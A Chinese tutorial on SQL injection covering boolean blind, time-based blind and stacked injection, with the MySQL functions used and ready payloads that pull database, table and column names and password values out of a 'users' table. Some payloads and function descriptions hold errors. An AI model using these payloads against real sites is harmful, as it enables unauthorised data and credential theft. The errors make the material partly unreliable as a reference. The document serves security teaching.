SQL布尔盲注、延迟注入和堆叠注入

什么是盲注

盲注的本质是猜解(所谓"盲"就是在你看不到返回数据的情况下能通过 "感觉" 来判断),那能感觉到什么?答案是 : 差异(包括运行时间的差异和页面返回结果的差异 )

原理

在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的

函数

Length ()函数 返字符串的长度

limit (a,b): 后缀两个参数的时候(/参数必须是一个整数常量*),其中a是指记录开始的偏移量,b是指从第a+1条开始,取b条记录

Substr ( ) 截取字符串

Ascii( ) 返回字符的ascii码

left(name.4):函数返回name的左边第二个字符

right( name.2):函数返回name的右边边第二个字符

流程

1.判断是否存在注入(单引号或双引号判断)

2.获取数据库长度

3.逐字猜解数据库名

4.猜解表名数量

5.猜解某个表长度

6.逐字猜解表名

7.猜解列名数量

8.猜解某个列长度

9.逐字猜解列名

10.判断数据数量

11.猜解某条数据的长度

12.逐位猜解数据

1.猜表名

left函数()

left(a,b)从左侧截取ad前b位

left(select database(),1)='s' 截取数据库名称的第一位

判断数据库名可以用left/ascii函数,同理猜表面也是一样的

利用and left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)<'s' 来猜解表名

2.猜列名

利用and left(select column_name from information_schema.columns where table_table='users' limit 0,1),1)<'s' 来猜解user表下的列名

3.爆值

利用and left(select password from users limit 0,1),2)<'du' 来猜解user表下的列名

延迟盲注

基于时间的盲注

函数:

sleep(n): 将程序挂起一段时间 n为n秒

if(exprl,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语

句如果错误执行第三个语句.

判断payload : and if('s'='s'sleep(5),1) --+

依据:正确会延迟,错误不会延迟

1.爆数据库

利用and if(left(database(),1)='s',sleep(5),1) --+

2.爆表

利用and if(left((select table_name from information_schema.tables where schema_name=database() limit 1,1),1='s',sleep(5),1)--+

3.爆列

利用and if(left((select column_name from information_schema.columns where table_table='users' limit 4,1),6)='sercet',sleep(5),1) --+

4.爆值

利用and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1) --+ 来猜解user表下的列名

堆叠注入

sql的特性:

sql语句以;为分隔符,可以同时执行很多sql语句

Stacked injections(堆香注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在 mysql中,主要是命令行中,每一条语句结尾加; 表示语结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

mysqlquery0向与指定的 link identifier 关联的服务器中的当前活动数据库发送一条查询(不支持多条查询 )

mysqli multi query0 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

堆叠注入的代码,简单利用:

判断可以利用sleep来判断,简单利用在语句后面加;然后进行任意的语句调用

相关推荐
SelectDB10 小时前
驾驭 CPU 与编译器:Apache Doris 实现极致性能的底层逻辑
运维·数据库·apache
zbguolei10 小时前
MySQL根据身份证号码计算出生日期和年龄
数据库·mysql
马克学长10 小时前
SSM校园图书借阅服务系统jd2z8(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·图书管理系统·ssm 框架·ssm 校园图书借阅系统
软件派11 小时前
高斯数据库使用心得——从性能优化到行业实践的深度解析
数据库·oracle
Chan1612 小时前
场景题:CPU 100% 问题怎么排查?
java·数据库·redis·后端·spring
电商API_1800790524712 小时前
批量获取电商商品数据的主流技术方法全解析
大数据·数据库·人工智能·数据分析·网络爬虫
rgeshfgreh13 小时前
Python流程控制:从条件到循环实战
前端·数据库·python
煎蛋学姐13 小时前
SSM校园物品交易系统ua3tg(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·学生管理·ssm 框架·商品信息管理·校园物品交易系统·商品分类
conca13 小时前
Java+MySQL时区难题-Date自动转换String差8小时
数据库·mysql